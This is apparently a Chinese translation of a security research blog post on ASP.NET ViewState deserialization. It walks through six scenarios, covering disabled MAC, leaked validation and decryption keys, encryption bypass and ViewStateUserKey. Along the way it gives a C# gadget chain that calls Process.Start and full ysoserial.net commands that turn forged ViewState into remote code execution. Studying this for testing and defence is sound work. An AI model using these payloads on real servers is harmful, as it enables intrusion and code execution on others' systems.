前言
嗨,大家好:
欢迎访问这个有关.NET ViewState反序列化的新博客文章。我想感谢 Subodh Pandey 为这篇博客文章和这项研究做出的贡献,没有他(和他的研究),我就无法深入了解这个主题。
在开始 ViewState 反序列化之前,让我们先看看一些与 ViewState 及其利用相关的关键术语。
ViewState
:根据 TutorialsPoint 上的教程 (译者注:TutorialsPoint 是一个提供各种教程的网站) :
视图状态是页面及其所有控件的状态。它由ASP.NET框架自动维护。
当一个页面被返回给客户端时,页面及其控件属性的变化将被确定,并存储在一个名为
_VIEWSTATE
的隐藏输入字段的值中。当页面再次向服务端发送请求时,
_VIEWSTATE
字段将与HTTP请求一起发送到服务器。
(译者注:ViewState是基于web表单的,当设置了ViewState(
runat = "server"
)后,会有一个隐藏字段
_ViewState
,这个字段会记录表单中其他控件的值,当表单被提交到服务器后,服务端判断某些字段需要用户重新填写,将表单重新返回给客户端,这时,可以通过
_ViewState
记录的值恢复上一次用户提交的内容,使得用户可以在之前表单的基础上修改,而不是重新填一遍表单的全部字段。)
EventValidation
:
事件验证会检查POST请求中传入的值,确保这些值是已知且正确的值。如果运行时看到一个未知的值,则会抛出异常。
此参数还包含序列化数据。
一个例子
ViewStateUserKey
:
是一个用户对一个页面的特定标识符,用于避免CSRF攻击。它可以这样设置:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; }
一个例子
Formatters
:Formatters(格式化器)被用于从一个表单向另一个表单转换数据。例如:BinaryFormatter会以二进制格式将对象或整个连接对象图形序列化和反序列化。
Gadgets
:当不受信任的数据被处理时,可能允许执行代码的类。.NET的一些例子:
PSObject
、
TextFormattingRunProperties
和
TypeConfuseDelegate
。
ViewState是如何使用的
ViewState 基本上由服务器生成,并以隐藏的表单字段 “_VIEWSTATE” 的形式发送给客户端,用于“POST”请求。当Web应用程序进行 POST 请求时,客户端将其发送到服务器。
ViewState 以序列化数据的形式出现,当客户端再次进行请求(ViewState)被发送到服务器时,将进行反序列化。ASP.NET 有各种序列化和反序列化库,称为 formatter ,它序列化对象到字节流,反之亦然(反序列化字节流到对象),如 ObjectStateFormatter、LOSFormatter、BinaryFormatter等。
ASP.NET 使用 LosFormatter 序列化 ViewState,并将其作为隐藏的表单字段发送到客户端。一旦序列化ViewState 在 POST 请求期间被发送回服务器,它将使用 ObjectStateFormatter 进行反序列化。
为了使 ViewState 不受篡改,存在一个启用 ViewState MAC 的选项,通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。
Web.config 文件中的
。多种散列算法可以被选择,以便在ViewState 中启用 MAC(消息身份验证代码)。
ASP.Net 还提供通过设置值加密 ViewState 的选项。
在 web.config 文件中的
。
您可以在 ViewState 中选择使用不同的加密/验证算法。
用于设置加密和验证算法的IIS管理器配置
借助一个示例,让我们看看序列化和反序列化在 .NET 中是如何生效的(类似于 ViewState 的工作原理)。
在这里,我们创建了一个单页网页的应用程序,该应用程序将简单地接受用户在文本区域的输入,单击按钮后将其显示在同一页面上。
我们编写了一个示例代码,让应用程序在加载时使用 LOSFormatter 创建序列化输入。这个序列化数据将被保存到文件中。当在应用程序中单击
GO
按钮时,将从文件中读取这些数据,然后在 ObjectStateFormatter 的帮助下进行反序列化。
前端代码:
Test.aspx
"C#" AutoEventWireup="true" CodeFile="TestComment.aspx.cs" Inherits="TestComment" %> html> "http://www.w3.org/1999/xhtml"> "server">
后端代码:
Test.aspx.cs
using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class TestComment : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { String cmd = “echo
123 > c:\\windows\\temp\\test.txt”; Delegate da = new Comparison(String.Compare); Comparison d = (Comparison)MulticastDelegate.Combine(da, da); IComparer comp = Comparer.Create(d); SortedSet set = new SortedSet(comp); set.Add(“cmd”); set.Add(“/c “ + cmd); FieldInfo fi = typeof(MulticastDelegate).GetField(“_invocationList”, BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(d, invoke_list); MemoryStream stream = new MemoryStream(); Stream stream1 = new FileStream(“C:\\Windows\\Temp\\serialnet.txt”, FileMode.Create, FileAccess.Write); //Serialization using LOSFormatter starts here //The serialized output is base64 encoded which cannot be directly fed to ObjectStateFormatter for deserialization hence requires base64 decoding before deserialization LosFormatter los = new LosFormatter(); los.Serialize(stream1, set ); stream1.Close(); } protected void Button1_Click(object sender, EventArgs e) { string serialized_data = File.ReadAllText(@”C:\Windows\Temp\serialnet.txt”); //Base64 decode the serialized data before deserialization byte[] bytes = Convert.FromBase64String(serialized_data); //Deserialization using ObjectStateFormatter starts here ObjectStateFormatter osf = new ObjectStateFormatter(); string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString(); } }
现在,让我们看看代码在运行时的执行了什么。网页加载后,代码立即执行,并在“C:\Windows\temp”文件夹中创建一个名为 serialnet.txt 的文件,其中包含序列化数据,它执行以下代码中突出显示的操作::
String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
以下是应用程序加载后的文件内容:
一旦我们单击
Go
按钮,提供的命令会在 TypeConfuseDelegate gadget 的帮助下执行。下面我们可以看到 test.txt 文件已在 Temp 目录中被创建:
文件 test.txt 被创建,内容是“123”
这是一个简单的模拟,展示了 ViewState 序列化和反序列化如何在回退操作期间在 Web 应用程序中生效。
这也有助于确定不可信数据不应该被反序列化的事实。
现在我们已经了解了 ViewState 的基础知识及其如何生效,让我们将重点转移到 ViewState 不安全的反序列化上,以及这如何导致远程代码执行。
为了更好的理解,我们将了解各种测试用例,并实际查看每个案例。
为了生成 payload 来演示不安全的反序列化,我们将对所有测试用例使用 ysoserial.net 。
案例1:目标 framework≤4.0(ViewState Mac已禁用)
通过设置
AspNetEnforceViewStateMac
注册表项为零,可以完全禁用 ViewState MAC:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
如下所示:
ViewState MAC 被从注册表禁用
现在,准备完成,我们将进入利用阶段。为了该demo,我们使用以下前端和后端代码:
前端代码:
#” AutoEventWireup=”true” CodeFile=”hello.aspx.cs” Inherits=”hello” %> html> ">
后端代码:
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class hello : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }
我们在 IIS 中托管该应用程序,并使用 burpsuite 拦截应用程序的流量:
拦截应用程序流量
ViewState MAC 被禁用
在上面的截图中可以看到,在更改注册表项后,ViewState MAC 已被禁用。
现在,我们可以使用 ysoserial.net 创建一个序列化 payload ,如下所示:
Ysoserial payload 的生成
上面用来生成 payload 的命令是:
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "echo 123 > C:\Windows\temp\test.txt" > payload_when_mac_disabled
在 HTTP POST 请求中的 ViewState 参数中使用上述生成的 payload,我们可以观察 payload 的执行如下:
ViewState 参数的值被使用 ysoserial 生成的 payload 替换
文件 test.txt 被使用内容 “123” 创建
案例2:当从HTTP请求中删除ViewState时
在本案例中,我们将介绍开发人员试图将 ViewState 从 HTTP 请求中删除的场景。为了演示,我们重用了上述示例中的前端代码,并将后端代码修改为:
后端代码:
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public class BasePage : System.Web.UI.Page { protected override void Render(HtmlTextWriter writer) { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); HtmlTextWriter hWriter = new HtmlTextWriter(sw); base.Render(hWriter); string html = sb.ToString(); html = Regex.Replace(html, “ ]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase); writer.Write(html); } } public partial class hello : BasePage { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }
当我们在 IIS 上托管该代码,我们将观察到POST请求不再发送 ViewState 参数。
在 HTTP POST请求中,不再有 ViewState 参数
或许可以假设,如果没有 ViewState ,它们的实现是安全的,不会因 ViewState 反序列化而产生任何潜在的漏洞。
然而,事实并非如此。如果我们向请求包中添加 ViewState 参数并发送使用 ysoserial 创建的序列化payload ,我们仍将能够实现如案例1所示的代码执行。
案例3:目标framework≤4.0(启用了ViewState Mac)
我们可以通过更改设置,在特定页面或整个应用程序中启用 ViewState MAC 。
为了对特定页面启用 ViewState MAC ,我们需要对特定的 aspx 文件进行以下更改:
"C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True" %>
我们还可以通过在 web.config 文件中设置该项使整个应用程序中都启用 ViewState MAC ,如下所示:
" encoding=”UTF-8"?> " validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" /> true” />
现在,假设已经为 ViewState 启用 MAC(消息身份验证),并且由于存在类似本地文件读取、XXE等漏洞,我们可以访问 web.config 文件,获取到上述的验证密钥和算法等设置,接着我们通过(向 ysoserial.net )提供获取到的配置作为参数,生成 payload 。
为了演示 demo ,我们使用了以下代码作为示例应用程序,并假设攻击者由于任意文件读取漏洞能够访问 web.config 文件:
前端代码:
"C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %> html> "http://www.w3.org/1999/xhtml"> "server">
后端代码:
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class hello : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected override void OnInit(EventArgs e) { base.OnInit(e); } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }
Web.Config:
" encoding=”UTF-8"?> " validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" /> true” />
现在,在 IIS 中托管此应用程序时,我们试图使用 burpsuite 拦截应用程序的功能,如下所示:
拦截生成的请求
启用了ViewState MAC
现在,我们可以看到 ViewState MAC 已经被启用。
如果我们注意到上面的 POST 请求,我们可以看到请求中没有
“_VIEWSTATEGENERATOR”
参数。在这种情况下,我们需要将
apppath
和
path
变量作为 ysoserial 的参数。然而,如果我们在 HTTP 请求中添加
_VIEWSTATEGENERATOR
参数,我们可以直接将其值提供给 ysoserial 以生成 payload 。
让我们使用 ysoserial.net 创建 payload ,并提供
验证密钥
和
算法
作为参数以及
apppath
和
path
。
使用 Ysoserial 生成序列化 payload
在这里,参数“p”代表插件,“g”代表 gadgets,“c”代表在服务器上运行的命令,“validationkey”和“validationalg”是从 web.config 中获取的值。
让我们将生成的 payload 作为 ViewState 的值使用,如下所示:
ViewState 被 ysoserial payload 替换
一旦请求被处理,我们将收到一个错误。然而,我们可以看到 payload 被执行,内容为 “123” 的文件 test.txt 被成功创建。
文件 test.txt 在提交请求后创建
案例4:目标framework≤4.0(为ViewState启用加密)
在 .NET 4.5 之前,ASP.NET 可以接受来自用户的未加密的
__VIEWSTATE
参数,即使 ViewStateEncryptionMode 已设置为
Always
。ASP.NET 仅检查请求中是否存在
__VIEWSTATEENCRYPTED
参数。如果删除此参数并发送未加密的有效负载,它仍将被处理。
案例5:目标framework≥.NET 4.5
我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架。
" />
system.web中的目标 framework
或者,也可以通过在 web.config 文件中将 machineKey 参数指定为下述选项来完成。
compatibilityMode=”Framework45"
具有兼容模式的 machineKey
对于 ASP.NET framework ≥ 4.5,我们需要向 ysoserial payload 生成器提供
解密算法
和
解密密钥
,如下所示:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo 123 > c:\windows\temp\test.txt” --path=”/site/test.aspx/” --apppath=”/directory” — decryptionalg=”AES” --decryptionkey=”EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=”SHA1" --validationkey=”B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
上面的
path
和
apppath
参数可以通过一些调试来确定。为了demo演示,我们将使用以下代码。
前端代码:
"C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %> html> "http://www.w3.org/1999/xhtml"> "server">
后端代码:
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class test : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected override void OnInit(EventArgs e) { base.OnInit(e); } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }
当单击用户界面中的
Go
按钮时,将发送以下请求。请注意,
__VIEWSTATEGENERATOR
的值目前为
75BBA7D6
。借助 ysoserial payload 生成器的 islegacy 和 isdebug 开关,我们可以尝试猜测
path
和
apppath
的值。
点击Go时发送的正常请求
用于上述请求的加密的 ViewState
在 ysoserial 工具中,生成一个如下所示的具有不同的
path
和
apppath
参数值的 payload 。一旦
__VIEWSTATEGENERATOR
的生成值与 Web 应用程序请求中的值匹配,可以得出结论,我们获得了正确的值。
确定 path 和 apppath
在上面的屏幕截图中,第二个请求为我们提供了
__VIEWSTATEGENERATOR
参数的正确值。因此,我们可以使用
path
和
apppath
的值来生成有效的 payload 。现在的命令是:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
请注意,我们还需要对生成的 payload 进行 URL 编码,以便能够在我们的示例中使用它。在上述请求中使用生成的 payload 的 URL 编码值替换
__VIEWSTATE
的值后,我们的 payload 将执行。这可以观察到如下:
文件 test.txt 在提交请求后被创建
案例6: 使用 ViewStateUserKey
如本文开头所述,ViewStateUserKey 属性可用于抵御 CSRF 攻击。如果应用程序中已经定义了这样的密钥,并且我们试图使用到目前为止讨论的方法生成 ViewState payload,则应用程序将不会处理 payload 。这里,我们需要将另一个参数传递给 ysoserial ViewState 生成器,如下所示:
ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --viewstateuserkey="randomstringdefinedintheserver"
(译者注:
--viewstateuserkey="randomstringdefinedintheserver"
在原文中存在加粗,本文由于使用markdown编辑,无法在代码格式中进行加粗)
下面是我们用来演示这个例子的后端代码:
后端代码:
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class test : System.Web.UI.Page { void Page_Init (object sender, EventArgs e) { ViewStateUserKey = "randomstringdefinedintheserver" ; } protected void Page_Load(object sender, EventArgs e) { } protected override void OnInit(EventArgs e) { base.OnInit(e); } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }